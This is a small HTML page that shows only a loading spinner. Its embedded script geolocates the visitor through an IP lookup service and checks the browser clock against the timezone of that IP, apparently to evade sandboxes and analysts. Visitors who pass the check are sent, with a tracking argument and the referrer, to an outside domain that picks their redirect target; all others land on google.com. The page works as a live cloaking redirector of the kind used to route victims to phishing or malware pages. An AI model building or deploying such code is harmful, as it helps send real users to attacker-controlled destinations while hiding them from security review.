<!DOCTYPE html>
<html lang="ru">
<head>
    <meta charset="UTF-8">
    <title>Page</title>
    <style>
        #loader {
            position: fixed;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            display: flex;
            align-items: center;
            justify-content: center;
        }
    </style>
    <script>
        document.addEventListener("DOMContentLoaded", async function () {
            const loader = document.getElementById("loader");
            loader.style.display = "flex";
        
            // Далее идет основной код для загрузки страницы
            const urlParams = new URLSearchParams(window.location.search);
            const arg = urlParams.get("arg");
        
            try {
                // Получаем данные о пользователе
                const locationResponse = await fetch("https://ipapi.co/json/");
                const locationData = await locationResponse.json();
        
                const userTimezone = locationData.timezone;
                const serverTime = new Date().toLocaleString("en-US", { timeZone: userTimezone });
                const localTime = new Date();
        
                const serverTimeDate = new Date(serverTime);
                const timeDifference = Math.abs(serverTimeDate - localTime) / 1000;
        
                const maxAllowedDifference = 60;
        
                if (arg) {
                    localStorage.setItem("arg", arg);
                    const isTimeValid = timeDifference <= maxAllowedDifference;
        
                    if (isTimeValid) {
                        const response = await fetch(`https://excavationslovak.info/getdirect?arg=${arg}`, {method: 'GET', headers: {'Referer': window.location.href}});
                        const data = await response.json();
        
                        if (data.direct) {
                            window.location = data.direct;
                        } else {
                            window.location = "https://www.google.com/";
                        }
                    } else {
                        window.location = "https://www.google.com/";
                    }
                } else {
                    window.location = "https://www.google.com/";
                }
            } catch (error) {
                window.location = "https://www.google.com/";
            }
        });
    </script>
</head>
<body>
    <div id="loader">
        <img src="loader.gif" alt="Загрузка...">
    </div>
</body>
</html>
